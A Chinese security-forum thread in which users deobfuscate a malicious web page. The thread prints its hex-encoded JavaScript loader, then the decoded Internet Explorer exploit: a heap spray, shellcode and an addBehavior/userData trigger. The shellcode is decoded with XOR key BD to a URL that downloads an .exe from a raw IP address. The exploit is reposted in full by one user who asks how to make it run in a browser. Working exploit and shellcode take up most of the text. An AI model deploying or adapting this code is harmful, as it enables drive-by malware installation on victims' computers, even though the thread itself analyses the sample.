代码

Hopesky

1. 
   
2. [indent]<SCRIPT LANGUAGE="JavaScript" defer>function a(p){var j,t;j="";for(i=1;i<=p.length;i++){if((i%2)==0){t="0x"+p.substr(i-2,2);t=t.toString(10)-18;        
   
3. j=j+String.fromCharCode(t);}}return j;}
   
4. var x=a("4E748786868180327B764F397F818039328180757E7B757D4F3985757E7B757D3A3B4D393265666B5E574F39565B65625E536B4C6061605739504E41748786868180504E8575847B8286327E738079877379774F345C7388736575847B828634327677787784503278878075867B818032757C7F3A853B8D3288738432848586843E804D32804F34344D32788184323A7B4F434D7B4E4F85407E778079867A324D7B3D3D323B328D327B78323A3A7B323732463B4F4F423B328D3284858684324F32343787343D85408587748586843A7B3F443E443B3D85408587748586843A7B3F463E443B4D32804F3280323D32848586844D328F328F328477868784803287807785757382773A803B4D328F32887384327E88324F32757C7F3A344B424B424B424B42474A474A474A474A57544342475446544545554B4848544B544A42454A424546425454565744585357544247574A5754585858585858474653455457545654565744564B43554A565456545654564548585654434548555653434342454856475447454846535649535557464747424554585456545644564758464756474A574A58545654565647574A5557564A5558574B45485854544347474245545554565456454847475649544A57464747444554585456545647584646564756445645545654565647554A555856435642574B46445354454A4956554A5357564756445645545654565647554A555856435642574B45485854544347474545545554565456454847475649545557464747564554585456545647584646564756434A574A585456564755575647564A5643574B454858545443474756445455545654564548474756495455574647475844545854565456475846464555474354565455545654564548484345554957455654565456545656495456564953495757564954564644575457434A574956585645564A4354575456554A46464953544B5457574356574B45564A4953584B5457544B5547564A545654564A574946575557555757575357554A57495645485854574747474B585455545654564557464754564746435754565456545644565649545656495456564954575649545656495458564754565456545649565757454858544B4B47475455545554565456454658545656564954565756464457544B4745465854564B4548585456565649545656495456564954565649544B564954565756464457544B43564954565649545656495456564753445456544454565756464457544A4345465854554745485845564B4556554354474644424B554B544345565543544746445456554B544A4556554B54474644424B47584748454645544556545654565456495358545556545654565456545649535854554B54565456545654565649545656495456564954564548585456565756464457544A474548455445565456545654565649545645425845554B57554644555455565756464455545656464457544A56464455545656464457544A4B464455545547464457545856454846484A5749564A5748484555474354565458545654564548494345574647574B5542544745465343545545574956544B4748465745484943454848464557495753564A57495657565755575757565756575657565756575657535756575646445754544745485545574B474753565455545654564747564A54565456545656475657555455535456564755575647564B5644574B45485854544347474B4B545654565456454658544A43564B4355544B5456545654564542435656564644464446445649564A464455544A43454858545356474754475456545654564A57484857575757575757574644485645564A47474745564A474746554A535545555547544A4456445644564456554B544745484644574A4548474345425856544A4644475647474354545654565456495747474356545654565456424753555455544B4556495854435456474744575456545654564555474354565455545654564548464345574953544B495354534A58554B4455544349535853544B56574546485558444953585354474356564A4453494849535853544357555856424955444953585353564A45534242544A4649535853534B42475646484B53484953585353474245554456544356495358535343464343464A534342495358534B564447544953564647564B43554A565456545654564548585654434548555653434342454856475447454846535649544B57464747574B54565456545644564758464756474A574A58545654565647574A5557564A5558574B454854544747574A464446444644454847475649544A574647474A4A545654565456475846464A574644575346445754544B4748545857474957474746464644464446445748495454534247454657445455565449535853544A464447564957575745484843575756495856564754565356545654565753454858544B564747534746444644464457474957575557544548554A4A434548554B4B4555475457464A5754454855544B565457464A4A5749465846585543425457494A4A5748485444424553564A494854554B5447495549485453545748495856474846554A485344554A47535745454857454B4B545748425654454854435848454857455343545748424548544B45485457494A434857455746495747474842464346444644425846584758464B4A464758554245574849584755484A424A58554B44555443454A484443444248565745464855584457555856424955444356564A445349485345434B564B474444574A58474B444B45455357544943434958534658485455494B45425344554B5753565454424644585742454343484855424656434A444957584645435348494A45534242544A4642475646484B53484245554456544356464343464A5343424447544953564647455648544344444946485757534A76745647554B554B55564A494B444B444A544A554B454A554A564A564B454A554B454A464A574B445657555755574B445646555756554B45564A5547564A545654565456545654565456545654565456545654565456545654565456545654565456545657535753343B4D328873843255738484324F3280778932538484738B3A3B4D887384327B86324F32428A4A48424242323F327E88407E778079867A3C444D8873843289787E7379324F3234378742754275378742754275344D887384327D85324F3287807785757382773A89787E73793B4D897A7B7E773A7D85407E778079867A324E327B8641443B327D85323D4F7D854D8873843282324F327D85408587748586847B80793A423E327B8641443B4D76777E778677327D854D7881843A7B4F424D7B4E4449424D7B3D3D3B8D557384846D7B6F324F32823D823D7E884D8F78878075867B81803285757E7B757D3A3B8D88738432855481768B324F32768175877F77808640758477738677577E777F7780863A345461566B343B4D855481768B4073767654777A73887B81843A343576777873877E86358785778456738673343B4D768175877F77808640738282778076557A7B7E763A855481768B3B4D86848B8D788184323A7B4F424D7B4E43424D7B3D3D3B8D855481768B40857786538686847B748786773A3985393E897B807681893B4D8F8F757386757A3A773B8D8F897B80768189408586738687853D4F39394D8F768175877F77808640797786577E777F778086548B5B763A347F8180343B408180757E7B757D3A3B4D4E418575847B828650");  
   
5. window.document.write(x);
   
6. window.location.reload();
   
7. </SCRIPT>
   
8. 
   
9. <script src="http://s33.cnzz.com/stat.php?id=2030218&web_id=2030218" language="JavaScript"></script>[/indent]

复制代码

使用添加<xmp>标签法，document.write改成alert后保存沙盘中执行，得到：

1. <button id='mon' onclick='sclick();' STYLE='DISPLAY:NONE'></button><script language="JavaScript" defer> function cjm(s){ var rstr,n; n=""; for (i=1;i<=s.length ;i++ ) { if ((i % 4)==0) { rstr = "%u"+s.substr(i-2,2)+s.substr(i-4,2); n= n + rstr; } } return unescape(n); } var lv = cjm("9090909058585858EB105B4B33C966B9B80380340BBDE2FAEB05E8EBFFFFFF54A3BEBDBDE2D91C8DBDBDBD36FDB136CDA11036D5B5364AD7ACE45503BFBDBD2D5F45D58E8FBDBDD5E8CED8CFE936FBB15503BCBDBD3655D7B8E45523BFBDBD5F44D5D2D3BDBDD5C8CFD1D0E942AB387DC8AED5D2D3BDBDD5C8CFD1D0E936FBB15533BCBDBD3655D7BCE455D3BFBDBD5F44D5D18E8FBDD5CED5D8D1E936FBB155D2BCBDBD3655D7BCE455F2BFBDBD5F443C51BDBCBDBD36613C7E3DBDBDBDD7BDD7A7EED7BD42EBE18E7DFD3D81BEBDC8447AB9BEE1DE93D87AF9BEB9C5D8BDBD8E74ECECEEEAEC8E7D36FBE5559FBCBDBD3E45BD541EBDBDBD2DD7BDD7BDD7BED7BDD7BFD5BDBDBD7DEE36FB9955BCBCBDBD34FBDDD7BDED42EB9534FBD936FBDDD7BDD7BDD7BDD7B9D7BDED42EB91D7BDD7BDD7BDD5A2BDB2BDED42EB8134FBC536F3D93DC1B54209C9B13DC1B542BDC9B83DC9B542095F56343B3DBDBDBD7AFBCDBDBDBDBD7AFBC9BDBDBDBDD7BDD7BDD7BD36FBDDED42EB85363B3DBDBDBDD7BD30F3C9EC42CBCDED42CBDD42EB8D42CBDD42EB8942CBC542EBFD36468E7D8E663C51BDBFBDBD36713E45E9C0B534A1BC3E7DB9564E367136643E7EAD8E7DEDECEEEDEDEDEDEDEDEAEDED42EBB536C3E955ADBCBDBD55D8BDBDBDD5DECBCABDD5CED5D9D2E936FBB15599BDBDBD34FB81D91CB9BDBDBD301DDD424242D7D842CB8136FBAD55B5BDBDBD8E66EEEEEEEE426D3D85553D8554C8AC3CC5B82D2D2D2DC9B53642E8365130FDB8425D551BBDBDBD7E551DBDBDBD05ACBCB93D7FB1BD552EBDBDBD3C51BDBCBDBD36413E7AB97ABA8FC92CB17AFAB9DE346CF27AFAB51DD82A767AFAB1ECFD07C27AFAAD83A00B847AFAA905D469A67AFAA503C2DB1D7AFAA141148A107AFA9D25B7AD45D91C8DBDBDBD36FDB136CDA11036D5B5364AD7B9E455E9BDBDBD2D5F45D58E8FBDBDD5E8CED8CFE936BB55E84242423655D7B8E45588BDBDBD5F448E42EA42EBB956BFE57E5544424242E67BBA0534E2BCDB7AFAB8425D7EEE3661EED7FDD5BDADBDBDEA36FB9D55A5424242E57EECEB36C88136C993C5BE48EB36CB9DBE488E74F4FC10BE788E66B203AD876BC9B57C76BABE67FD564C86A2C85AE336E399BE60DB36B1F636E3A1BE6036B936BE7816E3E47E55604142420F4F5F49845FC03E67F5C6808FC92CB138621206DE346CF2ECFD07C21DD82A76A319D9522E8F592933AEB7117FA4F6BC7930A2C9EADBB042FE031166C04D1827EF431A6783A00B8405D469A603C2DB1D41148A1025B7AD453D6B122746EEA8dbD5C9C9CD8792928B8C938C8D8D938C93848E92DECECE92D4CEDC93D8C5D8BDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDEAEA"); var Carr = new Array();var it = 0x86000 - lv.length*2;var wflag = "%u0c0c%u0c0c";var ks = unescape(wflag);while(ks.length < it/2) ks +=ks;var p = ks.substring(0, it/2);delete ks;for(i=0;i<270;i++){Carr = p+p+lv;}function sclick(){var sBody = document.createElement("BODY");sBody.addBehavior("#default#userData");document.appendChild(sBody);try{for (i=0;i<10;i++){sBody.setAttribute('s',window);}}catch(e){}window.status+='';}document.getElementById("mon").onclick();</script>

复制代码

然后用HexASCII清除，密钥：BD

解得：

1. http://61.100.1.93/css/isa.exe

复制代码

yishuad

前排听课，请问第二段代码是什么加密方式？

promised

1. %u9090%u9090%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF%u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%uDEE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%uBDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%uD5db%uC9C9%u87CD%u9292%u8C8B%u8C93%u8D8D%u8C93%u8493%u928E%uCEDE%u92CE%uCED4%u93DC%uC5D8%uBDD8%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uEAEA

复制代码

极限度—魔

不懂 晕

promised

第一层

qianwenxiang

回复 5楼 promised  的帖子


    ppppppppppppppppppppro现身！终于看到这软件的真身了。。

promised

回复 6楼 qianwenxiang  的帖子
界面无耻地盗了大米

   

qianwenxiang

回复 7楼 promised  的帖子

大米内牛满面   

yccar

不懂

天涯浪子1988

1. 这段能不能通过修改代码放浏览器里执行？？
   
2. 算法就在里面 改来改去就是不行
   
3. <button id='mon' onclick='sclick();' STYLE='DISPLAY:NONE'></button><script language="JavaScript" defer> function cjm(s){ var rstr,n; n=""; for (i=1;i<=s.length ;i++ ) { if ((i % 4)==0) { rstr = "%u"+s.substr(i-2,2)+s.substr(i-4,2); n= n + rstr; } } return unescape(n); } var lv = cjm("9090909058585858EB105B4B33C966B9B80380340BBDE2FAEB05E8EBFFFFFF54A3BEBDBDE2D91C8DBDBDBD36FDB136CDA11036D5B5364AD7ACE45503BFBDBD2D5F45D58E8FBDBDD5E8CED8CFE936FBB15503BCBDBD3655D7B8E45523BFBDBD5F44D5D2D3BDBDD5C8CFD1D0E942AB387DC8AED5D2D3BDBDD5C8CFD1D0E936FBB15533BCBDBD3655D7BCE455D3BFBDBD5F44D5D18E8FBDD5CED5D8D1E936FBB155D2BCBDBD3655D7BCE455F2BFBDBD5F443C51BDBCBDBD36613C7E3DBDBDBDD7BDD7A7EED7BD42EBE18E7DFD3D81BEBDC8447AB9BEE1DE93D87AF9BEB9C5D8BDBD8E74ECECEEEAEC8E7D36FBE5559FBCBDBD3E45BD541EBDBDBD2DD7BDD7BDD7BED7BDD7BFD5BDBDBD7DEE36FB9955BCBCBDBD34FBDDD7BDED42EB9534FBD936FBDDD7BDD7BDD7BDD7B9D7BDED42EB91D7BDD7BDD7BDD5A2BDB2BDED42EB8134FBC536F3D93DC1B54209C9B13DC1B542BDC9B83DC9B542095F56343B3DBDBDBD7AFBCDBDBDBDBD7AFBC9BDBDBDBDD7BDD7BDD7BD36FBDDED42EB85363B3DBDBDBDD7BD30F3C9EC42CBCDED42CBDD42EB8D42CBDD42EB8942CBC542EBFD36468E7D8E663C51BDBFBDBD36713E45E9C0B534A1BC3E7DB9564E367136643E7EAD8E7DEDECEEEDEDEDEDEDEDEAEDED42EBB536C3E955ADBCBDBD55D8BDBDBDD5DECBCABDD5CED5D9D2E936FBB15599BDBDBD34FB81D91CB9BDBDBD301DDD424242D7D842CB8136FBAD55B5BDBDBD8E66EEEEEEEE426D3D85553D8554C8AC3CC5B82D2D2D2DC9B53642E8365130FDB8425D551BBDBDBD7E551DBDBDBD05ACBCB93D7FB1BD552EBDBDBD3C51BDBCBDBD36413E7AB97ABA8FC92CB17AFAB9DE346CF27AFAB51DD82A767AFAB1ECFD07C27AFAAD83A00B847AFAA905D469A67AFAA503C2DB1D7AFAA141148A107AFA9D25B7AD45D91C8DBDBDBD36FDB136CDA11036D5B5364AD7B9E455E9BDBDBD2D5F45D58E8FBDBDD5E8CED8CFE936BB55E84242423655D7B8E45588BDBDBD5F448E42EA42EBB956BFE57E5544424242E67BBA0534E2BCDB7AFAB8425D7EEE3661EED7FDD5BDADBDBDEA36FB9D55A5424242E57EECEB36C88136C993C5BE48EB36CB9DBE488E74F4FC10BE788E66B203AD876BC9B57C76BABE67FD564C86A2C85AE336E399BE60DB36B1F636E3A1BE6036B936BE7816E3E47E55604142420F4F5F49845FC03E67F5C6808FC92CB138621206DE346CF2ECFD07C21DD82A76A319D9522E8F592933AEB7117FA4F6BC7930A2C9EADBB042FE031166C04D1827EF431A6783A00B8405D469A603C2DB1D41148A1025B7AD453D6B122746EEA8dbD5C9C9CD8792928B8C938C8D8D938C93848E92DECECE92D4CEDC93D8C5D8BDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDEAEA"); var Carr = new Array();var it = 0x86000 - lv.length*2;var wflag = "%u0c0c%u0c0c";var ks = unescape(wflag);while(ks.length < it/2) ks +=ks;var p = ks.substring(0, it/2);delete ks;for(i=0;i<270;i++){Carr = p+p+lv;}function sclick(){var sBody = document.createElement("BODY");sBody.addBehavior("#default#userData");document.appendChild(sBody);try{for (i=0;i<10;i++){sBody.setAttribute('s',window);}}catch(e){}window.status+='';}document.getElementById("mon").onclick();</script>
   

复制代码

内牛满面 惊现一个未公开发布的软件